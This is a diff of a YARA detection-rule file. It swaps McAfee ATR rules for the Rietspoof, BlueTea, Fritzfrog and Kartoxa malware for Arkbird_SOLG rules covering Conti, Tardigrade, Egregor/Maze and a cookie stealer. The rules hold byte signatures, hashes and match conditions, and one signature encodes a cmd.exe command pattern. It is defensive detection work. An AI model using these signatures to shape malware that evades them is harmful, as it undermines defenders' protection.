+		$seq2 = { 38 9d a0 fd ff ff 74 0c ff b5 94 fd ff ff e8 [2] ff ff 59 8d 85 ac fd ff ff 50 56 ff 15 [4] 85 c0 0f 85 4d ff ff ff 8b 85 a4 fd ff ff 8b 8d 84 fd ff ff 8b 10 8b 40 04 2b c2 c1 f8 02 3b c8 74 34 68 [4] 2b c1 6a 04 50 8d 04 8a 50 e8 [2] 00 00 83 c4 10 eb 1c 38 9d a0 fd ff ff 74 12 ff b5 94 fd ff ff e8 [2] ff ff 8b 85 80 fd ff ff 59 8b d8 56 ff 15 [4] 80 bd 7c fd ff ff 00 5e 74 0c ff b5 70 fd ff ff e8 [2] ff ff 59 8b }
+		$seq3 = { 6a 0c 68 [4] e8 [2] ff ff 33 f6 89 75 e4 8b 45 08 ff 30 e8 [2] ff ff 59 89 75 fc 8b 45 0c 8b 00 8b 38 8b d7 c1 fa 06 8b c7 83 e0 3f 6b c8 38 8b 04 95 [4] f6 44 08 28 01 74 21 57 e8 [2] ff ff 59 50 ff 15 [4] 85 c0 75 1d e8 [2] ff ff 8b f0 ff 15 [4] 89 06 e8 [2] ff ff c7 00 09 00 00 00 83 ce ff 89 75 e4 c7 45 fc fe ff ff ff e8 0d 00 00 00 8b c6 e8 [2] ff }
+		$seq4 = { 8b ff 55 8b ec 56 6a 00 ff 75 10 ff 75 0c ff 75 08 ff 35 [4] ff 15 [4] 8b f0 85 f6 75 2d ff 15 [4] 83 f8 06 75 22 e8 b6 ff ff ff e8 73 ff ff ff 56 ff 75 10 ff 75 0c ff 75 08 ff 35 [4] ff 15 [4] 8b f0 8b c6 5e }
+		$seq5 = { 55 8b ec 81 ec b4 09 00 00 a1 08 [3] 33 c5 89 45 fc 53 56 57 6a ?? 68 [4] ba 18 00 00 00 33 c9 e8 [2] ff ff 83 c4 08 6a 00 6a 00 ff d0 8b f0 85 f6 0f 88 9a 03 00 00 c7 85 8c f7 ff ff [3] 00 bb 03 00 00 00 8b 85 8c f7 ff ff 99 f7 fb 8b 85 8c f7 ff ff 8d 7b 02 85 d2 74 57 83 c0 02 03 c6 89 85 8c f7 ff ff 8b 85 8c f7 ff ff 25 03 00 00 80 79 07 48 83 c8 fc 83 c0 01 0f 85 64 01 00 00 66 66 0f 1f 84 00 00 00 00 00 8b 85 8c f7 ff ff 40 89 85 8c f7 ff ff 8b 85 8c f7 ff ff 25 03 00 00 80 79 07 48 83 c8 fc 83 c0 01 74 dd e9 32 01 00 00 25 01 00 00 80 79 07 48 83 c8 fe 83 c0 01 74 47 b8 02 00 00 00 2b }
+		$seq6 = { 83 3b 00 c7 45 94 00 00 00 00 0f 86 57 02 00 00 8b 35 b4 21 41 00 8d 4b 14 8b 3d c8 21 41 00 8b 1d 9c 21 41 00 89 4d 90 c7 45 98 7f 00 00 00 89 b5 7c ff ff ff 89 bd 78 ff ff ff 89 5d 9c 0f 1f 40 00 8b 11 8d 45 d0 89 55 cc b9 2c 00 00 00 0f 1f 00 c6 00 00 8d 40 01 83 e9 01 75 f5 52 ff d6 8b f0 ff d7 c6 45 b4 00 bf 7f 00 00 00 c6 45 b5 42 c6 45 b6 31 c6 45 b7 2a c6 45 b8 0b c6 45 b9 63 8a 4d b5 80 7d b4 00 75 28 33 c9 66 0f 1f 44 00 00 8a 44 0d b5 0f b6 c0 83 e8 63 6b c0 25 99 f7 ff 8d 42 7f 99 f7 ff 88 54 0d b5 41 83 f9 05 72 e0 8d 45 b5 50 56 ff d3 c6 45 a0 00 c6 45 a1 51 c6 45 a2 1f c6 45 a3 2b c6 45 a4 44 c6 45 a5 51 c6 45 a6 12 c6 45 a7 45 c6 45 a8 44 c6 45 a9 26 89 45 84 8a 45 a1 80 7d a0 00 75 27 33 c9 0f 1f 00 8a 44 0d a1 0f b6 c0 83 e8 26 8d 04 80 03 c0 99 f7 ff 8d 42 7f 99 f7 ff 88 54 0d a1 41 83 f9 09 72 de 8d 45 a1 50 56 ff d3 c6 45 bc 00 8b d8 c6 45 bd 42 c6 45 be 19 c6 45 bf 46 c6 45 c0 59 8a 4d bd 80 7d bc 00 89 5d 88 75 2c 33 ff 8d 5f 7f 8a 44 3d bd 0f b6 c8 83 e9 59 8b c1 c1 e0 05 2b c1 99 f7 fb 8d 42 7f 99 f7 fb 88 54 3d bd 47 83 ff 04 72 dc 8b 5d 88 8d 45 bd 50 56 ff 55 9c c6 45 ac 00 8b f8 c6 45 ad 76 c6 45 ae 30 c6 45 af 06 c6 45 b0 21 c6 45 b1 2a 8a 4d ad 80 7d ac 00 75 24 33 c9 8a 44 0d ad 0f b6 c0 83 e8 2a 8d 04 c0 99 f7 7d 98 8d 42 7f 99 f7 7d 98 88 54 0d ad 41 83 f9 05 72 de 8d 45 ad 50 56 ff 55 9c }
 
 	condition:
-		any of them
+		uint16(0)==0x5a4d and filesize >50KB and 5 of ($seq*)
 }
-rule TRELLIX_ARC_Rietspoof_Loader : RANSOMWARE FILE
+rule ARKBIRD_SOLG_RAN_Conti_May_2021_1 : FILE
 {
 	meta:
-		description = "Rule to detect the Rietspoof loader"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "f306e381-e2ae-528e-937b-aced72356d77"
-		date = "2024-08-01"
-		modified = "2020-08-14"
-		reference = "https://blog.avast.com/rietspoof-malware-increases-activity"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/malware/MALW_rietspoof_loader.yar#L1-L22"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		logic_hash = "d72b58ff452070e03d0b25bc433ef5c677df77dd440adc1ecdb592cee24235fb"
-		score = 75
-		quality = 70
-		tags = "RANSOMWARE, FILE"
-		malware_type = "ransomware"
-		malware_family = "Loader:W32/Rietspoof"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		description = "Detect packed Conti ransomware (May 2021) [Common parts with Vidar packer, possible false positives to Vidar stealer or Danabot"
+		author = "Arkbird_SOLG"
+		id = "661182f7-4716-50d1-8d98-9fb272cf43eb"
+		date = "2021-05-19"
+		modified = "2021-05-21"
+		reference = "Internal Research"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-05-20/Conti/RAN_Conti_May_2021_1.yara#L1-L18"
+		license_url = "N/A"
+		logic_hash = "397f99dee35d8a0c5f564655e952f8a55d347a74303eadfc6788bd6ff0f6c4c5"
+		score = 50
+		quality = 75
+		tags = "FILE"
+		hash1 = "Redacted"
+		tlp = "White"
+		adversary = "RAAS"
+		level = "Experimental"
 
 	strings:
-		$x1 = "\\Work\\d2Od7s43\\techloader\\loader" fullword ascii
+		$seq1 = { 55 8b ec [3-4] 00 00 [0-5] 56 57 83 3d [4] 25 0f 85 ?? 00 00 00 68 [2] 44 00 ff 15 [2] 42 00 3d f6 65 00 00 0f 85 ?? 00 00 00 6a 00 [0-2] ff 15 2c ?? 42 00 b9 ?? 00 00 00 be [2] 42 00 8d bd f8 f7 ff ff f3 a5 [2-4] 07 00 00 6a 00 8d 85 ?? f8 ff ff 50 e8 [4] 83 c4 0c 8d 4d f8 89 4d fc 6a 00 6a 00 [2-4] 06 00 00 }
+		$seq2 = { ff 15 [2] 42 00 8b ?? f4 c1 ?? 04 89 ?? e4 81 3d [4] 8c 07 00 00 75 1d 6a 00 e8 [4] 6a 00 6a 00 6a 00 6a 00 6a 00 6a 00 6a 00 6a 00 ff 15 [2] 42 00 8b 45 f8 01 45 e4 8b ?? f4 03 ?? e8 89 ?? f0 81 3d [4] 96 01 }
+		$seq3 = { 83 bd [2] ff ff 26 75 05 e8 [2] ff ff 83 3d [4] 7a 75 75 33 ?? 66 89 [3] ff ff 33 ?? 89 [3] ff ff 89 [3] ff ff 89 [3] ff ff 66 89 [3] ff ff 33 ?? 66 89 [3] ff ff 33 ?? 89 [3] ff ff 89 [3] ff ff 89 [3] ff ff 66 89 [3] ff ff 8d [3] ff ff ?? 8d [3] ff ff ?? 8d [3] ff ff ?? ff 15 [2] 42 00 6a 00 ff 15 [2] 42 00 6a 00 6a 00 ff 15 [2] 42 00 e9 50 ff ff }
+		$seq4 = { 81 bd [2] ff ff 22 3b 00 00 75 [4-5] 42 00 [5-6] 81 3d [4] e5 05 00 00 75 }
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		uint16(0)==0x5a4d and filesize >90KB and all of ($seq*)
 }
-rule TRELLIX_ARC_Rtf_Bluetea_Builder : MALDOC FILE
+rule ARKBIRD_SOLG_APT_Tardigrade_Nov_2021_1 : FILE
 {
 	meta:
-		description = "Rule to detect the RTF files created to distribute BlueTea trojan"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "20e4f7b2-b36c-5724-a3aa-4216ed6265ab"
-		date = "2020-04-21"
-		modified = "2020-08-14"
-		reference = "https://blog.360totalsecurity.com/en/bluetea-action-drive-the-life-trojan-update-email-worm-module-and-spread-through-covid-19-outbreak/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/malware/MALDOC_rtf_bluetea_builder.yar#L1-L30"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "4a3eeaed22342967a95302a4f087b25f50d61314facc6791f756dcd113d4f277"
-		logic_hash = "6c4007fb7ef4819141db63050215dcbb3d2c17e7cdcdbb6cfb4f4b045bb5736b"
+		description = "Detect Tardigrade loader"
+		author = "Arkbird_SOLG"
+		id = "f6c8014a-21dd-5ebd-9edd-7a9f649a43a0"
+		date = "2021-11-22"
+		modified = "2021-11-23"
+		reference = "https://www.isac.bio/post/tardigrade"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-11-22/APT_Tardigrade_Nov_2021_1.yara#L1-L19"
+		license_url = "N/A"
+		logic_hash = "98358d9dbf62e653b136268d8694ed4d7f48c80125dd12ccea5f36ff5c6b4a3c"
 		score = 75
-		quality = 70
-		tags = "MALDOC, FILE"
-		rule_version = "v1"
-		malware_type = "maldoc"
-		malware_family = "Maldoc:W32/BlueTea"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 75
+		tags = "FILE"
+		hash1 = "1c7c1a28921d81f672320e81ad58642ef3b8e27abf8a8e51400b98b40f49568be"
+		hash2 = "c0976a1fbc3dd938f1d2996a888d0b3a516b432a2c38d788831553d81e2f5858"
+		hash3 = "cf88926b7d5a5ebbd563d0241aaf83718b77cec56da66bdf234295cc5a91c5fe"
+		tlp = "white"
+		adversary = "Tardigrade"
 
 	strings:
-		$sequence = { 7B??72??6631??????65666C616E6731??32??????????69??????????????67????36??75??32??????656666????35????????656666????????73??666462????33??35????????74??68????????68????????36??73??73??66??????68????????36??73??73??6662????5C646566??616E6731??33??5C646566??616E67666532??35????????656D656C616E6731??33??5C74??656D656C616E67666532??35????????656D656C616E6763????7B??666F6E74??62??????6630??????69??????????????6D616E5C6663????72??6574??5C6670??71??7B??2A??????6E6F73??20??32??32??3630??30??????????30??30??30????????????73??4E6577??526F6D616E3B????0A????6631??5C6662????69??????????6C5C6663????72??6574??33????6670??71??7B??2A??????6E6F73??20??32??31??3630??30??30??30??30??30??30??7D??2763????2763????2763????276535????????66616C74??5369????????????7D??5C6633????6662????69??????????6D616E5C6663????72??6574??5C6670??71??7B??2A??????6E6F73??20??32??34??35????????30????3630??30??30????????????72??6120????74??3B????0A????6633??5C6662????69??????????69????????????6172??6574??5C6670??71??7B??2A??????6E6F73??20??32??6630??????????30??30????33??32??34??43616C69????????????5C6633??5C6662????69??????????6C5C6663????72??6574??33????6670??71??7B??2A??????6E6F73??20??32??31??3630??30??30??30??30??30??30??7D??5C2763????2763????2763????276535????????7B??666C6F6D616A??72??6633??35????????62????69??????????6D616E5C6663????72??6574??5C6670??71??7B??2A??????6E6F73??20??32??32??3630??30??????????30??30??30????????????73??4E6577??526F6D616E3B????5C666462????6A??72??6633??35????????62????69??????????6C5C6663????72??6574??33????6670??71??7B??2A??????6E6F73??20??32??31??3630??30??30??30??30??30??30??7D??2763????2763????2763????276535????????66616C74??5369????????????7D??0A????66??????616A??72??6633??35????????62????69??????????6D616E5C6663????72??6574??5C6670??71??7B??2A??????6E6F73??20??32??34??35????????30????3630??30??30????????????72??613B????5C6662????616A??72??6633??35????????62????69??????????6D616E5C6663????72??6574??5C6670??71??7B??2A??????6E6F73??20??32??32??3630??30??????????30??30??30????????????73??4E6577??526F6D616E3B????0A????666C6F6D69????????????31??????????62????69??????????6D616E5C6663????72??6574??5C6670??71??7B??2A??????6E6F73??20??32??32??3630??30??????????30??30??30????????????73??4E6577??526F6D616E3B????5C666462????6E6F72??6633??35????????62????69??????????6C5C6663????72??6574??33????6670??71??7B??2A??????6E6F73??20??32??31??3630??30??30??30??30??30??30??7D??2763????2763????2763????276535????????66616C74??5369????????????7D??0A????66??????69????????????31??????????62????69??????????69????????????6172??6574??5C6670??71??7B??2A??????6E6F73??20??32??6630??????????30??30????33??32??34??43616C69????????????5C6662????69????????????31??????????62????69??????????6D616E5C6663????72??6574??5C6670??71??7B??2A??????6E6F73??20??32??32??3630??30??????????30??30??30????????????73??4E6577??526F6D616E3B????5C6634??5C6662????69??????????6D616E5C6663????72??6574??33??5C6670??71??20??????6573??4E6577??526F6D616E20????3B????0A????6634??5C6662????69??????????6D616E5C6663????72??6574??30????6670??71??20??????6573??4E6577??526F6D616E20????72??7D??5C6634??5C6662????69??????????6D616E5C6663????72??6574??3631??????72??32??5469????????????77??526F6D616E20????6565??????7B??6634??5C6662????69??????????6D616E5C6663????72??6574??3632??????72??32??5469????????????77??526F6D616E20??????3B????5C6634??5C6662????69??????????6D616E5C6663????72??6574??37375C6670??71??20??????6573??4E6577??526F6D616E20??486562????77??3B????0A????6634??5C6662????69??????????6D616E5C6663????72??6574??3738??????72??32??5469????????????77??526F6D616E20??4172??62????29??7D??5C6634??5C6662????69??????????6D616E5C6663????72??6574??38??5C6670??71??20??????6573??4E6577??526F6D616E20????6C74??63??7D??5C6634??5C6662????69??????????6D616E5C6663????72??6574??3633??????72??32??5469????????????77??526F6D616E20??5669????????????73??29??7D??0A????6631??32??????69??????????????6C5C6663????72??6574??5C6670??71??20????6D5375??20????73??6572??7B??2A??????6C74??5369????????????7D??5C6633??30??????69??????????????6D616E5C6663????72??6574??33??5C6670??71??20????6D62????6120????74??20????3B????5C6633??31??????69??????????????6D616E5C6663????72??6574??30????6670??71??20????6D62????6120????74??20????72??7D??5C6633??33??????69??????????????6D616E5C6663????72??6574??3631??????72??32??43616D62????6120????74??20????6565??????0D????????33??34??6662????69??????????6D616E5C6663????72??6574??3632??????72??32??43616D62????6120????74??20??????3B????5C6633??375C6662????69??????????6D616E5C6663????72??6574??38??5C6670??71??20????6D62????6120????74??20????6C74??63??7D??5C6633??38??????69??????????????6D616E5C6663????72??6574??3633??????72??32??43616D62????6120????74??20??5669????????????73??29??7D??5C6634??30??????69??????????????69????????????6172??6574??33??5C6670??71??20????6C69????????????3B????0A????6634??31??????69??????????????69????????????6172??6574??30????6670??71??20????6C69????????????72??7D??5C6634??33??????69??????????????69????????????6172??6574??3631??????72??32??43616C69????????????6565??????7B??6634??34??6662????69??????????69????????????6172??6574??3632??????72??32??43616C69????????????72??7D??5C6634??375C6662????69??????????69????????????6172??6574??38??5C6670??71??20????6C69????????????6C74??63??7D??0A????6634??38??????69??????????????69????????????6172??6574??3633??????72??32??43616C69????????????69????????????73??29??7D??5C6634??32??????69??????????????6C5C6663????72??6574??5C6670??71??20????2763????2763????2763????276535????????74??72??3B????5C666C6F6D616A??72??6633??35????????62????69??????????6D616E5C6663????72??6574??33??5C6670??71??20??????6573??4E6577??526F6D616E20????3B????0A????666C6F6D616A??72??6633??35????????62????69??????????6D616E5C6663????72??6574??30????6670??71??20??????6573??4E6577??526F6D616E20????72??7D??5C666C6F6D616A??72??6633??35????????62????69??????????6D616E5C6663????72??6574??3631??????72??32??5469????????????77??526F6D616E20????6565??????7B??666C6F6D616A??72??6633??35????????62????69??????????6D616E5C6663????72??6574??3632??????72??32??5469????????????77??526F6D616E20??????3B????0A????666C6F6D616A??72??6633??35????????62????69??????????6D616E5C6663????72??6574??37375C6670??71??20??????6573??4E6577??526F6D616E20??486562????77??3B????5C666C6F6D616A??72??6633??35????????62????69??????????6D616E5C6663????72??6574??3738??????72??32??5469????????????77??526F6D616E20??4172??62????29??7D??5C666C6F6D616A??72??6633??35????????62????69??????????6D616E5C6663????72??6574??38??5C6670??71??20??????6573??4E6577??526F6D616E20????6C74??63??7D??0A????666C6F6D616A??72??6633??35????????62????69??????????6D616E5C6663????72??6574??3633??????72??32??5469????????????77??526F6D616E20??5669????????????73??29??7D??5C666462????6A??72??6633??35????????62????69??????????6C5C6663????72??6574??5C6670??71??20????6D5375??20????73??6572??7B??2A??????6C74??5369????????????7D??5C66??????616A??72??6633??35????????62????69??????????6D616E5C6663????72??6574??33??5C6670??71??20????6D62????6120????3B????0A????66??????616A??72??6633??35????????62????69??????????6D616E5C6663????72??6574??30????6670??71??20????6D62????6120????72??7D??5C66??????616A??72??6633??35????????62????69??????????6D616E5C6663????72??6574??3631??????72??32??43616D62????6120????6565??????7B??66??????616A??72??6633??35????????62????69??????????6D616E5C6663????72??6574??3632??????72??32??43616D62????6120??????3B????0A????66??????616A??72??6633??35????????62????69??????????6D616E5C6663????72??6574??38??5C6670??71??20????6D62????6120????6C74??63??7D??5C66??????616A?? }
+		$s1 = { 63 6d 64 2e 65 78 65 20 2f 63 20 65 63 68 6f 20 [10-40] 3e 22 25 73 22 26 65 78 69 74 }
+		$s2 = { 4c 89 44 24 38 89 54 24 34 48 89 4c 24 28 e8 [2] 01 00 e8 [2] 01 00 4c 8b 44 24 38 8b 54 24 34 48 8b 4c 24 28 48 83 c4 48 e9 71 fe ff ff 90 48 89 ca 48 8d 0d 76 ?? 02 00 }
+		$s3 = { 41 57 41 56 41 55 41 54 55 57 56 53 48 ?? ec [1-4] 48 8b 84 24 ?? 00 00 00 48 89 44 24 60 48 8b 05 [2] 01 00 48 89 4c 24 40 ?? 38 }
+		$s4 = { 45 31 c0 48 8d 8c 24 ?? 02 00 00 4c 8d 8c 24 ?? 01 00 00 48 8d 15 [2] 01 00 ff 15 [2] 02 00 }
 
 	condition:
-		uint16(0)==0x5c7b and filesize <100KB and all of them
+		uint16(0)==0x5a4d and filesize >50KB and all of them
 }
-rule TRELLIX_ARC_MALW_Fritzfrog : BOTNET FILE
+rule ARKBIRD_SOLG_Ran_Egregor_Oct_2020_1 : FILE
 {
 	meta:
-		description = "Rule to detect Fritzfrog"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "4c553279-7e0c-5602-944d-ad8a47edf4ea"
-		date = "2020-08-20"
-		modified = "2020-08-20"
-		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/malware/MALW_fritzfrog.yar#L1-L26"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		logic_hash = "488c807ecf0a9e981b2c1f2f5bb2e3072952d11f7cbf3a354bc85dc8e88b8b09"
+		description = "Detect Egregor / Maze ransomware by Maze blocks"
+		author = "Arkbird_SOLG"
+		id = "03d3ee25-cd0c-573e-beca-e4ff4377da9f"
+		date = "2020-10-29"
+		modified = "2023-11-22"
+		reference = "Internal Research"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-10-31/Ran_Egregor_Oct_2020_1 .yar#L1-L21"
+		license_url = "N/A"
+		logic_hash = "d7d03db002b74d031b725db60e38a46abce564fb090b013aa9ec66376b430000"
 		score = 75
-		quality = 70
-		tags = "BOTNET, FILE"
-		rule_version = "v1"
-		malware_type = "botnet"
-		malware_family = "Botnet:W32/Fritzfrog"
-		actor_type = "Cybercrime"
-		hash1 = "103b8404dc64c9a44511675981a09fd01395ee837452d114f1350c295357c046"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 75
+		tags = "FILE"
+		hash1 = "14e547bebaa738b8605ba4182c4379317d121e268f846c0ed3da171375e65fe4"
+		hash2 = "af538ab1b8bdfbf5b7f1548d72c0d042eb14d0011d796cab266f0671720abb4d"
+		hash3 = "42ac07c5175d88d6528cfe3dceacd01834323f10c4af98b1a190d5af7a7bb1cb"
+		hash4 = "4139c96d16875d1c3d12c27086775437b26d3c0ebdcdc258fb012d23b9ef8345"
 
 	strings:
-		$pattern = { 7F454C4602010100000000000000000002003E000100000090D34500000000004000000000000000C8010000000000000000000040003800070040000D000300060000000400000040000000000000004000400000000000400040000000000088010000000000008801000000000000001000000000000004000000040000009C0F0000000000009C0F4000000000009C0F400000000000640000000000000064000000000000000400000000000000010000000500000000000000000000000000400000000000000040000000000083F23E000000000083F23E00000000000010000000000000010000000400000000003F000000000000007F000000000000007F00000000006C834500000000006C834500000000000010000000000000010000000600000000908400000000000090C400000000000090C4000000000060EC0400000000005809070000000000001000000000000051E574640600000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000080150465002A000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000100000006000000000000000010400000000000001000000000000083E23E00000000000000000000000000100000000000000000000000000000004100000001000000020000000000000000007F000000000000003F0000000000C0271B0000000000000000000000000020000000000000000000000000000000720000000300000000000000000000000000000000000000C0275A00000000007C000000000000000000000000000000010000000000000000000000000000004900000001000000020000000000000040289A000000000040285A0000000000D83600000000000000000000000000002000000000000000000000000000000053000000010000000200000000000000185F9A0000000000185F5A0000000000380D0000000000000000000000000000080000000000000000000000000000005D000000010000000200000000000000506C9A0000000000506C5A0000000000000000000000000000000000000000000100000000000000000000000000000067000000010000000200000000000000606C9A0000000000606C5A00000000000C172A0000000000000000000000000020000000000000000000000000000000070000000100000003000000000000000090C400000000000090840000000000004B0300000000000000000000000000200000000000000000000000000000001200000001000000030000000000000000DBC7000000000000DB87000000000050A101000000000000000000000000002000000000000000000000000000000018000000080000000300000000000000607CC90000000000607C890000000000D0E80100000000000000000000000000200000000000000000000000000000001D0000000800000003000000000000004065CB000000000040658B00000000001834000000000000000000000000000020000000000000000000000000000000270000000700000002000000000000009C0F4000000000009C0F00000000000064000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 }
+		$x1 = { 45 f4 8b 4d 10 8b 09 0f b7 49 06 39 c8 0f 8d a2 00 00 00 8b 45 e4 83 78 10 00 75 48 8b 45 0c 8b 40 38 89 45 f0 83 7d f0 00 7e 37 31 c0 8b 4d ec 8b 55 e4 03 4a 0c 89 4d e8 8b 4d e8 8b 55 e4 89 4a 08 8b 4d f0 8b 55 e8 89 14 24 c7 44 24 04 00 00 00 00 89 4c 24 08 89 45 d4 e8 9e c6 ff ff 89 45 d0 eb 3a 8b 45 ec 8b 4d e4 03 41 0c 89 45 e8 8b 45 e4 8b 40 10 8b 4d 08 8b 55 e4 03 4a 14 8b 55 e8 89 14 24 89 4c 24 04 89 44 24 08 e8 77 a1 ff ff 8b 4d e8 8b 55 e4 89 4a 08 89 45 cc 8b 45 f4 83 c0 01 89 45 f4 8b 45 e4 83 c0 28 89 45 e4 }
+		$x2 = { 8b 45 f0 83 38 00 0f 86 a0 00 00 00 8b 45 f8 8b 4d f0 03 01 89 45 ec 8b 45 f0 83 c0 08 89 45 e8 c7 45 fc 00 00 00 00 8b 45 fc 8b 4d f0 8b 49 04 83 e9 08 d1 e9 39 c8 73 62 8b 45 e8 0f b7 00 c1 e8 0c 89 45 e0 8b 45 e8 0f b7 00 25 ff 0f 00 00 89 45 dc 8b 45 e0 85 c0 89 45 d0 74 0f eb 00 8b 45 d0 83 e8 03 89 45 cc 74 04 eb 17 eb 17 8b 45 ec 03 45 dc 89 45 e4 8b 45 0c 8b 4d e4 03 01 89 01 eb 02 eb 00 eb 00 8b 45 fc 83 c0 01 89 45 fc 8b 45 e8 83 c0 02 89 45 e8 eb 8c 8b 45 f0 8b 4d f0 03 41 04 89 45 f0 }
+		$x3 = { 8b 45 f0 8b 4d ec 03 01 89 45 e8 8b 45 e8 89 04 24 c7 44 24 04 14 00 00 00 ff 15 38 f0 0b 10 83 ec 08 31 c9 88 ca 83 f8 00 88 55 cf 75 0d 8b 45 e8 83 78 0c 00 0f 95 c1 88 4d cf 8a 45 cf a8 01 75 05 e9 6e 01 00 00 8b 45 f0 8b 4d e8 03 41 0c 89 04 24 ff 15 3c f0 0b 10 83 ec 04 89 45 dc 8b 45 dc b9 ff ff ff ff 39 c8 }
+		$op1 = { 60 8b 7d 08 8b 4d 10 8b 45 0c f3 aa 61 89 45 f0 }
+		$op2 = { 83 7d 08 00 89 45 ec 89 4d e8 89 55 e4 }
+		$op3 = { 89 4d e8 89 55 e4 75 09 c7 45 f0 00 00 00 00 }
+		$op4 = { 75 09 c7 45 f0 00 00 00 00 eb 17 60 }
 
 	condition:
-		uint16(0)==0x457f and filesize <26000KB and all of them
+		uint16(0)==0x5a4d and filesize >350KB and (3 of ($op*) or 2 of ($x*))
 }
-rule TRELLIX_ARC_Kartoxa_Malware_Pdb : POS FILE
+import "pe"
+
+rule ARKBIRD_SOLG_MAL_Stealer_Cookie_July_2020_1 : FILE
 {
 	meta:
-		description = "Rule to detect Kartoxa POS based on the PDB"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "3d2dbf22-5d8f-5f19-9048-2d021ada22c8"
-		date = "2010-10-09"
-		modified = "2020-08-14"
-		reference = "https://securitynews.sonicwall.com/xmlpost/guatambu-new-multi-component-infostealer-drops-kartoxa-pos-malware-apr-08-2016/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/malware/MALW_backdoor_katorxa_pdb.yar#L1-L25"
